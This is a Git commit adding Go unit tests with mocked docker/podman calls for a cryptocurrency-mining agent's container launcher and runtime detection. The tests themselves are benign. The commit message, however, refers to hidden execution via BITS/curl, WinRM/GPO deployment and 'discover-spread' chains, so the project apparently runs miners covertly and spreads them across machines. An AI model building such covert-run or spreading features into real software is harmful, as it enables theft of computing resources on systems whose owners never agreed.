Close automatable P2 test gaps with mocks and httptest integration.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.
This commit is contained in:
@@ -216,6 +216,117 @@ func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherPodmanStartWithFakeRuntime(t *testing.T) {
|
||||
var gotCLI string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
gotCLI = name
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "podman-build",
|
||||
Wallet: "XMR:wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "podman", Version: "4.9.0"}
|
||||
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatalf("NewContainerLauncher: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if gotCLI != "podman" {
|
||||
t.Fatalf("runtime CLI=%q want podman", gotCLI)
|
||||
}
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after podman Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherStopInvokesRm(t *testing.T) {
|
||||
var calls [][]string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
copied := append([]string{name}, args...)
|
||||
calls = append(calls, copied)
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "stop-test"}}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
launcher.Stop()
|
||||
|
||||
foundRm := false
|
||||
for _, call := range calls {
|
||||
if len(call) >= 3 && call[1] == "rm" && call[2] == "-f" {
|
||||
foundRm = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundRm {
|
||||
t.Fatalf("docker rm -f not invoked, calls=%v", calls)
|
||||
}
|
||||
if launcher.Running() {
|
||||
t.Fatal("Running() true after Stop")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContainerLauncherGPUFlags(t *testing.T) {
|
||||
var gotArgs []string
|
||||
SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitTestCmd()
|
||||
}
|
||||
gotArgs = append([]string(nil), args...)
|
||||
return longRunningTestCmd()
|
||||
})
|
||||
defer SetContainerExecCommand(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "gpu-test",
|
||||
Wallet: "XMR:wallet",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
GPUEnabled: true,
|
||||
},
|
||||
}
|
||||
rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
launcher, err := NewContainerLauncher(cfg, rt)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
if !containsSeq(gotArgs, "--gpus", "all") {
|
||||
t.Fatalf("args missing --gpus all: %v", gotArgs)
|
||||
}
|
||||
}
|
||||
|
||||
func containsSeq(args []string, seq ...string) bool {
|
||||
if len(seq) == 0 || len(args) < len(seq) {
|
||||
return false
|
||||
|
||||
@@ -5,15 +5,41 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
containerLookPathFn = exec.LookPath
|
||||
containerVersionCmd = func(path string, args ...string) *exec.Cmd {
|
||||
return exec.Command(path, args...)
|
||||
}
|
||||
)
|
||||
|
||||
// SetContainerRuntimeProbes injects lookPath/version probes for tests; pass nil to restore defaults.
|
||||
func SetContainerRuntimeProbes(
|
||||
lookPath func(string) (string, error),
|
||||
versionCmd func(string, ...string) *exec.Cmd,
|
||||
) {
|
||||
if lookPath == nil {
|
||||
containerLookPathFn = exec.LookPath
|
||||
} else {
|
||||
containerLookPathFn = lookPath
|
||||
}
|
||||
if versionCmd == nil {
|
||||
containerVersionCmd = func(path string, args ...string) *exec.Cmd {
|
||||
return exec.Command(path, args...)
|
||||
}
|
||||
} else {
|
||||
containerVersionCmd = versionCmd
|
||||
}
|
||||
}
|
||||
|
||||
// DetectContainerRuntime probes docker then podman CLIs.
|
||||
func DetectContainerRuntime() ContainerRuntimeInfo {
|
||||
for _, cli := range []string{"docker", "podman"} {
|
||||
if path, err := exec.LookPath(cli); err == nil {
|
||||
out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
|
||||
if path, err := containerLookPathFn(cli); err == nil {
|
||||
out, runErr := containerVersionCmd(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
|
||||
version := strings.TrimSpace(string(out))
|
||||
if runErr != nil || version == "" {
|
||||
// Older docker without --format still counts as available.
|
||||
if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
|
||||
if _, verErr := containerVersionCmd(path, "version").CombinedOutput(); verErr == nil {
|
||||
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
|
||||
}
|
||||
continue
|
||||
|
||||
91
agent/miner/runtime_detect_test.go
Normal file
91
agent/miner/runtime_detect_test.go
Normal file
@@ -0,0 +1,91 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func mockVersionOKCmd(_ string, args ...string) *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("cmd", "/c", "echo", "24.0.1")
|
||||
}
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("sh", "-c", "echo 24.0.1")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func mockVersionPodmanCmd(_ string, args ...string) *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("cmd", "/c", "echo", "4.9.0")
|
||||
}
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
if len(args) >= 2 && args[0] == "version" && args[1] == "--format" {
|
||||
return exec.Command("sh", "-c", "echo 4.9.0")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func TestDetectContainerRuntimePrefersDocker(t *testing.T) {
|
||||
SetContainerRuntimeProbes(
|
||||
func(name string) (string, error) {
|
||||
if name == "docker" {
|
||||
return "/usr/bin/docker", nil
|
||||
}
|
||||
if name == "podman" {
|
||||
return "/usr/bin/podman", nil
|
||||
}
|
||||
return "", exec.ErrNotFound
|
||||
},
|
||||
mockVersionOKCmd,
|
||||
)
|
||||
defer SetContainerRuntimeProbes(nil, nil)
|
||||
|
||||
rt := DetectContainerRuntime()
|
||||
if !rt.Available || rt.CLI != "docker" {
|
||||
t.Fatalf("runtime=%+v want docker", rt)
|
||||
}
|
||||
if rt.Version != "24.0.1" {
|
||||
t.Fatalf("version=%q", rt.Version)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectContainerRuntimeFallsBackToPodman(t *testing.T) {
|
||||
SetContainerRuntimeProbes(
|
||||
func(name string) (string, error) {
|
||||
if name == "podman" {
|
||||
return "/usr/bin/podman", nil
|
||||
}
|
||||
return "", exec.ErrNotFound
|
||||
},
|
||||
mockVersionPodmanCmd,
|
||||
)
|
||||
defer SetContainerRuntimeProbes(nil, nil)
|
||||
|
||||
rt := DetectContainerRuntime()
|
||||
if !rt.Available || rt.CLI != "podman" {
|
||||
t.Fatalf("runtime=%+v want podman", rt)
|
||||
}
|
||||
if rt.Version != "4.9.0" {
|
||||
t.Fatalf("version=%q", rt.Version)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectContainerRuntimeUnavailable(t *testing.T) {
|
||||
SetContainerRuntimeProbes(
|
||||
func(string) (string, error) { return "", exec.ErrNotFound },
|
||||
nil,
|
||||
)
|
||||
defer SetContainerRuntimeProbes(nil, nil)
|
||||
|
||||
rt := DetectContainerRuntime()
|
||||
if rt.Available || rt.CLI != "" {
|
||||
t.Fatalf("runtime=%+v want unavailable", rt)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user